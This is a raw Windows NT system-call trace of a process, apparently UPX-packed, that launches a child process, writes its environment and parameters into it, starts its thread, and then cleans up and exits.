\0\0\0\20\0\0\0P\0\0\0\240\0\0\0`\0\0\0\200\0\0\0\0B1\0\20\0\0\0\2\0\0\4\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0\260\0\0\0\20\0\0\0\0\0\0\2\0\0\0\0\0\20\0\0\20\0\0\0\0\20\0\0\20\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0h\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0UPX0\0\0\0\0\0P\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 4096, ) , 4096, ) == 0x0
 01697  1744   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 01698  1744   NtQueryInformationProcess  (184, Basic, 24, ... {ExitStatus=0x103,PebBaseAddress=0x7ffdc000,AffinityMask=0x1,BasePriority=8,Pid=808,ParentPid=1736,}, 0x0, ) == 0x0
 01699  1744   NtAllocateVirtualMemory  (-1, 0, 0, 2420, 4096, 4, ... 3997696, 4096, ) == 0x0
 01700  1744   NtAllocateVirtualMemory  (184, 0, 0, 6432, 4096, 4, ... 65536, 8192, ) == 0x0
 01701  1744   NtWriteVirtualMemory  (184, 0x10000,  (184, 0x10000, "=\0A\0:\0=\0A\0:\0\\0\0\0=\0C\0:\0=\0C\0:\0\\0s\0c\0r\0i\0p\0t\0s\0\0\0=\0U\0:\0=\0U\0:\0\\0\0\0A\0L\0L\0U\0S\0E\0R\0S\0P\0R\0O\0F\0I\0L\0E\0=\0C\0:\0\\0D\0o\0c\0u\0m\0e\0n\0t\0s\0 \0a\0n\0d\0 \0S\0e\0t\0t\0i\0n\0g\0s\0\\0A\0l\0l\0 \0U\0s\0e\0r\0s\0\0\0A\0P\0P\0D\0A\0T\0A\0=\0C\0:\0\\0D\0o\0c\0u\0m\0e\0n\0t\0s\0 \0a\0n\0d\0 \0S\0e\0t\0t\0i\0n\0g\0s\0\\0M\0a\0r\0t\0i\0m\0 \0C\0a\0r\0b\0o\0n\0e\0\\0A\0p\0p\0l\0i\0c\0a\0t\0i\0o\0n\0 \0D\0a\0t\0a\0\0\0A\0T\0L\0_\0I\0N\0C\0_\0P\0A\0T\0H\0=\0C\0:\0\\0W\0I\0N\0D\0D\0K\0\\03\07\09\00\0~\01\0.\01\08\03\0\\0i\0n\0c\0\0\0A\0T\0L\0_\0I\0N\0C\0_\0R\0O\0O\0T\0=\0C\0:\0\\0W\0I\0N\0D\0D\0K\0\\03\07\09\00\0~\01\0.\01\08\03\0\\0i\0n\0c\0\0\0A\0T\0L\0_\0L\0I\0B\0_\0P\0A\0T\0H\0=\0C\0:\0\\0W\0I\0N\0D\0D\0K\0\\03\07\0", 6432, ... 0x0, ) , 6432, ... 0x0, ) == 0x0
 01702  1744   NtAllocateVirtualMemory  (184, 0, 0, 2420, 4096, 4, ... 131072, 4096, ) == 0x0
 01703  1744   NtWriteVirtualMemory  (184, 0x20000,  (184, 0x20000, "\0\20\0\0t\11\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\0\13\0\0\0\26\0\10\2\220\2\0\0\0\0\0\0\364\3\366\3\230\4\0\0<\0>\0\220\10\0\0<\0>\0\320\10\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0<\0>\0\20\11\0\0\36\0 \0P\11\0\0\0\0\2\0p\11\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 2420, ... 0x0, ) , 2420, ... 0x0, ) == 0x0
 01704  1744   NtWriteVirtualMemory  (184, 0x7ffdc010,  (184, 0x7ffdc010, "\0\0\2\0", 4, ... 0x0, ) , 4, ... 0x0, ) == 0x0
 01705  1744   NtWriteVirtualMemory  (184, 0x7ffdc1e8,  (184, 0x7ffdc1e8, "\0\0\0\0", 4, ... 0x0, ) , 4, ... 0x0, ) == 0x0
 01706  1744   NtFreeVirtualMemory  (-1, (0x3d0000), 0, 32768, ... (0x3d0000), 4096, ) == 0x0
 01707  1744   NtAllocateVirtualMemory  (184, 0, 0, 1048576, 8192, 4, ... 196608, 1048576, ) == 0x0
 01708  1744   NtAllocateVirtualMemory  (184, 1236992, 0, 8192, 4096, 4, ... 1236992, 8192, ) == 0x0
 01709  1744   NtProtectVirtualMemory  (184, (0x12e000), 4096, 260, ... (0x12e000), 4096, 4, ) == 0x0
 01710  1744   NtCreateThread  (0x1f03ff, 0x0, 184, 1242664, 1242328, 1, ... 188, {808, 2020}, ) == 0x0
 01711  1744   NtRequestWaitReplyPort  (24, {168, 196, new_msg, 0, 69, 1364160, -2146434944, 1244532}  (24, {168, 196, new_msg, 0, 69, 1364160, -2146434944, 1244532} "\0\0\0\0\0\0\1\0\377\377\377\377\0\0\0\0\273\0\0\0\274\0\0\0(\3\0\0\344\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\20\0\0x\371\22\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\375\177\0\0\0\0\0\0\24\0\326z\202|" ... {168, 196, reply, 0, 1736, 1744, 75500, 0} "\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\270\0\0\0\274\0\0\0(\3\0\0\344\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\20\0\0x\371\22\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\375\177\0\0\0\0\0\0\24\0\326z\202|" )  ... {168, 196, reply, 0, 1736, 1744, 75500, 0}  (24, {168, 196, new_msg, 0, 69, 1364160, -2146434944, 1244532} "\0\0\0\0\0\0\1\0\377\377\377\377\0\0\0\0\273\0\0\0\274\0\0\0(\3\0\0\344\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\20\0\0x\371\22\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\375\177\0\0\0\0\0\0\24\0\326z\202|" ... {168, 196, reply, 0, 1736, 1744, 75500, 0} "\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\270\0\0\0\274\0\0\0(\3\0\0\344\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\20\0\0x\371\22\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\375\177\0\0\0\0\0\0\24\0\326z\202|" )  ) == 0x0
 01712  1744   NtResumeThread  (188, ... 1, ) == 0x0
 01713  1744   NtClose  (132, ... ) == 0x0
 01714  1744   NtClose  (172, ... ) == 0x0
 01715  1744   NtQueryInformationProcess  (184, Basic, 24, ... {ExitStatus=0x103,PebBaseAddress=0x7ffdc000,AffinityMask=0x1,BasePriority=8,Pid=808,ParentPid=1736,}, 0x0, ) == 0x0
 01716  1744   NtUserWaitForInputIdle  (808, 30000, 0, ...
 01717  1744   NtCreateEvent  (0x1f0003, 0x0, 0, 0, ... 172, ) == 0x0
 01718  1744   NtClose  (172, ... ) == 0x0
 01716  1744   NtUserWaitForInputIdle  ... ) == 0x0
 01719  1744   NtClose  (184, ... ) == 0x0
 01720  1744   NtClose  (188, ... ) == 0x0
 01721  1744   NtDelayExecution  (0, {-5000000, -1}, ... ) == 0x0
 01722  1744   NtTerminateProcess  (0, 0, ...
 00671   868   NtWaitForMultipleObjects  ... ) == 0xc0
 01722  1744   NtTerminateProcess  ... ) == 0x0
 01723  1744   NtQueryVirtualMemory  (-1, 0xb26d20, Basic, 28, ... {BaseAddress=0xb26000,AllocationBase=0xaf0000,AllocationProtect=0x80,RegionSize=0x3c000,State=0x1000,Protect=0x40,Type=0x1000000,}, 28, ) == 0x0
 01724  1744   NtQueryVirtualMemory  (-1, 0xb2762c, Basic, 28, ... {BaseAddress=0xb27000,AllocationBase=0xaf0000,AllocationProtect=0x80,RegionSize=0x3b000,State=0x1000,Protect=0x40,Type=0x1000000,}, 28, ) == 0x0
 01725  1744   NtQueryVirtualMemory  (-1, 0xafcef4, Basic, 28, ... {BaseAddress=0xafc000,AllocationBase=0xaf0000,AllocationProtect=0x80,RegionSize=0x66000,State=0x1000,Protect=0x40,Type=0x1000000,}, 28, ) == 0x0
 01726  1744   NtGdiDeleteObjectApp  (1594492118, ... ) == 0x1
 01727  1744   NtGdiDeleteObjectApp  (1560938444, ... ) == 0x1
 01728  1744   NtGdiDeleteObjectApp  (1326056578, ... ) == 0x1
 01729  1744   NtUserDestroyCursor  (4326017, 1, ... ) == 0x1
 01730  1744   NtUserDestroyCursor  (2163351, 1, ... ) == 0x1
 01731  1744   NtUserDestroyCursor  (459197, 1, ... ) == 0x1
 01732  1744   NtUserDestroyCursor  (1311203, 1, ... ) == 0x1
 01733  1744   NtUserDestroyCursor  (3735967, 1, ... ) == 0x1
 01734  1744   NtUserDestroyCursor  (917937, 1, ... ) == 0x1
 01735  1744   NtUserDestroyCursor  (2490903, 1, ... ) == 0x1
 01736  1744   NtUserFindExistingCursorIcon  (1243440, 1243456, 1243504, ... ) == 0x10011
 01737  1744   NtDeleteAtom  (49195, ... ) == 0x0
 01738  1744   NtDeleteAtom  (49194, ... ) == 0x0
 01739  1744   NtGdiDeleteObjectApp  (1896351313, ... ) == 0x1
 01740  1744   NtClose  (128, ... ) == 0x0
 01741  1744   NtSetInformationThread  (-2, ZeroTlsCell, {ZeroTlsCell=0x9,}, 4, ... ) == 0x0
 01742  1744   NtSetInformationThread  (-2, ZeroTlsCell, {ZeroTlsCell=0x8,}, 4, ... ) == 0x0
 01743  1744   NtUserGetAtomName  (49211, 1243528, ... ) == 0xf
 01744  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01745  1744   NtUserGetAtomName  (49213, 1243528, ... ) == 0xd
 01746  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01747  1744   NtUserGetAtomName  (49215, 1243528, ... ) == 0x10
 01748  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01749  1744   NtUserGetAtomName  (49217, 1243528, ... ) == 0x12
 01750  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01751  1744   NtUserGetAtomName  (49219, 1243528, ... ) == 0xd
 01752  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01753  1744   NtUserGetAtomName  (49221, 1243528, ... ) == 0xb
 01754  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01755  1744   NtUserGetAtomName  (49223, 1243528, ... ) == 0xf
 01756  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01757  1744   NtUserGetAtomName  (49225, 1243528, ... ) == 0xd
 01758  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01759  1744   NtUserGetAtomName  (49227, 1243528, ... ) == 0x11
 01760  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01761  1744   NtUserGetAtomName  (49229, 1243528, ... ) == 0xf
 01762  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01763  1744   NtUserGetAtomName  (49231, 1243528, ... ) == 0x11
 01764  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01765  1744   NtUserGetAtomName  (49233, 1243528, ... ) == 0xf
 01766  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01767  1744   NtUserGetAtomName  (49235, 1243528, ... ) == 0xc
 01768  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01769  1744   NtUserGetAtomName  (49237, 1243520, ... ) == 0xd
 01770  1744   NtUserUnregisterClass  (1243580, 1560870912, 1243568, ... ) == 0x1
 01771  1744   NtUserGetAtomName  (49239, 1243520, ... ) == 0x11
 01772  1744   NtUserUnregisterClass  (1243580, 1560870912, 1243568, ... ) == 0x1
 01773  1744   NtUserGetAtomName  (49241, 1243528, ... ) == 0xc
 01774  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01775  1744   NtUserGetAtomName  (49243, 1243528, ... ) == 0xe
 01776  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01777  1744   NtUserGetAtomName  (49245, 1243528, ... ) == 0x8
 01778  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01779  1744   NtUserGetAtomName  (49247, 1243528, ... ) == 0xd
 01780  1744   NtUserUnregisterClass  (1243588, 1560870912, 1243576, ... ) == 0x1
 01781  1744   NtUnmapViewOfSection  (-1, 0x390000, ... ) == 0x0
 01782  1744   NtSetInformationThread  (-2, ZeroTlsCell, {ZeroTlsCell=0x7,}, 4, ... ) == 0x0
 01783  1744   NtFreeVirtualMemory  (-1, (0x370000), 0, 32768, ... (0x370000), 65536, ) == 0x0
 01784  1744   NtUserGetAtomName  (49211, 1243560, ... ) == 0xf
 01785  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01786  1744   NtUserGetAtomName  (49213, 1243560, ... ) == 0xd
 01787  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01788  1744   NtUserGetAtomName  (49215, 1243560, ... ) == 0x10
 01789  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01790  1744   NtUserGetAtomName  (49217, 1243560, ... ) == 0x12
 01791  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01792  1744   NtUserGetAtomName  (49219, 1243560, ... ) == 0xd
 01793  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01794  1744   NtUserGetAtomName  (49221, 1243560, ... ) == 0xb
 01795  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01796  1744   NtUserGetAtomName  (49223, 1243560, ... ) == 0xf
 01797  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01798  1744   NtUserGetAtomName  (49225, 1243560, ... ) == 0xd
 01799  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01800  1744   NtUserGetAtomName  (49227, 1243560, ... ) == 0x11
 01801  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01802  1744   NtUserGetAtomName  (49229, 1243560, ... ) == 0xf
 01803  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01804  1744   NtUserGetAtomName  (49231, 1243560, ... ) == 0x11
 01805  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01806  1744   NtUserGetAtomName  (49233, 1243560, ... ) == 0xf
 01807  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01808  1744   NtUserGetAtomName  (49235, 1243560, ... ) == 0xc
 01809  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01810  1744   NtUserGetAtomName  (49237, 1243552, ... ) == 0xd
 01811  1744   NtUserUnregisterClass  (1243612, 2000486400, 1243600, ... ) == 0x1
 01812  1744   NtUserGetAtomName  (49239, 1243552, ... ) == 0x11
 01813  1744   NtUserUnregisterClass  (1243612, 2000486400, 1243600, ... ) == 0x1
 01814  1744   NtUserGetAtomName  (49241, 1243560, ... ) == 0xc
 01815  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01816  1744   NtUserGetAtomName  (49243, 1243560, ... ) == 0xe
 01817  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01818  1744   NtUserGetAtomName  (49245, 1243560, ... ) == 0x8
 01819  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01820  1744   NtUserGetAtomName  (49247, 1243560, ... ) == 0xd
 01821  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01822  1744   NtUserGetAtomName  (49175, 1243560, ... ) == 0x6
 01823  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01824  1744   NtUserGetAtomName  (49177, 1243560, ... ) == 0x6
 01825  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01826  1744   NtUserGetAtomName  (49176, 1243560, ... ) == 0x4
 01827  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01828  1744   NtUserGetAtomName  (49178, 1243560, ... ) == 0x7
 01829  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01830  1744   NtUserGetAtomName  (49180, 1243560, ... ) == 0x8
 01831  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01832  1744   NtUserGetAtomName  (49182, 1243560, ... ) == 0x9
 01833  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01834  1744   NtUserGetAtomName  (49179, 1243552, ... ) == 0x9
 01835  1744   NtUserUnregisterClass  (1243612, 2000486400, 1243600, ... ) == 0x1
 01836  1744   NtUserGetAtomName  (49256, 1243560, ... ) == 0x7
 01837  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01838  1744   NtUserGetAtomName  (49258, 1243560, ... ) == 0xd
 01839  1744   NtUserUnregisterClass  (1243620, 2000486400, 1243608, ... ) == 0x1
 01840  1744   NtUnmapViewOfSection  (-1, 0x380000, ... ) == 0x0
 01841  1744   NtDeviceIoControlFile  (56, 60, 0x0, 0x12facc, 0x22415c,  (56, 60, 0x0, 0x12facc, 0x22415c, "U\4\376\14\272\223\15D\243\376U9s\320\267#@\0\0\0\0\0\0\0\10 \217\0\306\205\337w", 32, 32, ... {status=0x0, info=32}, "U\4\376\14\272\223\15D\243\376U9s\320\267#@\0\0\0\0\0\0\0\10 \217\0\306\205\337w", ) , 32, 32, ... {status=0x0, info=32},  (56, 60, 0x0, 0x12facc, 0x22415c, "U\4\376\14\272\223\15D\243\376U9s\320\267#@\0\0\0\0\0\0\0\10 \217\0\306\205\337w", 32, 32, ... {status=0x0, info=32}, "U\4\376\14\272\223\15D\243\376U9s\320\267#@\0\0\0\0\0\0\0\10 \217\0\306\205\337w", ) , ) == 0x0
 01842  1744   NtDeviceIoControlFile  (56, 60, 0x0, 0x12fa94, 0x228168,  (56, 60, 0x0, 0x12fa94, 0x228168, "@\0\0\0\0\0\0\0", 8, 0, ... {status=0x0, info=0}, 0x0, ) , 8, 0, ... {status=0x0, info=0}, 0x0, ) == 0x0
 01843  1744   NtDeviceIoControlFile  (56, 60, 0x0, 0x12facc, 0x22415c,  (56, 60, 0x0, 0x12facc, 0x22415c, "\254\253\177yX{\226G\271$\325\21x\245\234\344\\0\0\0\0\0\0\0\10 \217\0\306\205\337w", 32, 32, ... {status=0x0, info=32}, "\254\253\177yX{\226G\271$\325\21x\245\234\344\\0\0\0\0\0\0\0\10 \217\0\306\205\337w", ) , 32, 32, ... {status=0x0, info=32},  (56, 60, 0x0, 0x12facc, 0x22415c, "\254\253\177yX{\226G\271$\325\21x\245\234\344\\0\0\0\0\0\0\0\10 \217\0\306\205\337w", 32, 32, ... {status=0x0, info=32}, "\254\253\177yX{\226G\271$\325\21x\245\234\344\\0\0\0\0\0\0\0\10 \217\0\306\205\337w", ) , ) == 0x0
 01844  1744   NtDeviceIoControlFile  (56, 60, 0x0, 0x12fa94, 0x228168,  (56, 60, 0x0, 0x12fa94, 0x228168, "\\0\0\0\0\0\0\0", 8, 0, ... {status=0x0, info=0}, 0x0, ) , 8, 0, ... {status=0x0, info=0}, 0x0, ) == 0x0
 01845  1744   NtSetInformationThread  (-2, ZeroTlsCell, {ZeroTlsCell=0x2,}, 4, ... ) == 0x0
 01846  1744   NtSetInformationThread  (-2, ZeroTlsCell, {ZeroTlsCell=0x3,}, 4, ... ) == 0x0
 01847  1744   NtSetInformationThread  (-2, ZeroTlsCell, {ZeroTlsCell=0x4,}, 4, ... ) == 0x0
 01848  1744   NtClose  (48, ... ) == 0x0
 01849  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize"}, ... 48, ) }, ... 48, ) == 0x0
 01850  1744   NtQueryValueKey  (48,  (48, "DisableMetaFiles", Partial, 20, ... ) , Partial, 20, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01851  1744   NtClose  (48, ... ) == 0x0
 01852  1744   NtQueryInformationProcess  (-1, 36, 4, ... {process info, class 36, size 4}, 0x0, ) == 0x0
 01853  1744   NtQueryInformationProcess  (-1, 36, 4, ... {process info, class 36, size 4}, 0x0, ) == 0x0
 01854  1744   NtQueryVirtualMemory  (-1, 0x77c2807c, Basic, 28, ... {BaseAddress=0x77c28000,AllocationBase=0x77c10000,AllocationProtect=0x80,RegionSize=0x35000,State=0x1000,Protect=0x20,Type=0x1000000,}, 28, ) == 0x0
 01855  1744   NtClose  (124, ... ) == 0x0
 01856  1744   NtClose  (56, ... ) == 0x0
 01857  1744   NtFreeVirtualMemory  (-1, (0x3c0000), 4096, 32768, ... (0x3c0000), 4096, ) == 0x0
 01858  1744   NtRequestWaitReplyPort  (24, {20, 48, new_msg, 0, 2089871292, 1310720, 1244456, 0}  (24, {20, 48, new_msg, 0, 2089871292, 1310720, 1244456, 0} "\0\0\0\0\3\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0" ... {20, 48, reply, 0, 1736, 1744, 75533, 0} "\0\0\0\0\3\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0" )  ... {20, 48, reply, 0, 1736, 1744, 75533, 0}  (24, {20, 48, new_msg, 0, 2089871292, 1310720, 1244456, 0} "\0\0\0\0\3\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0" ... {20, 48, reply, 0, 1736, 1744, 75533, 0} "\0\0\0\0\3\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0" )  ) == 0x0
 01859  1744   NtTerminateProcess  (-1, 0, ...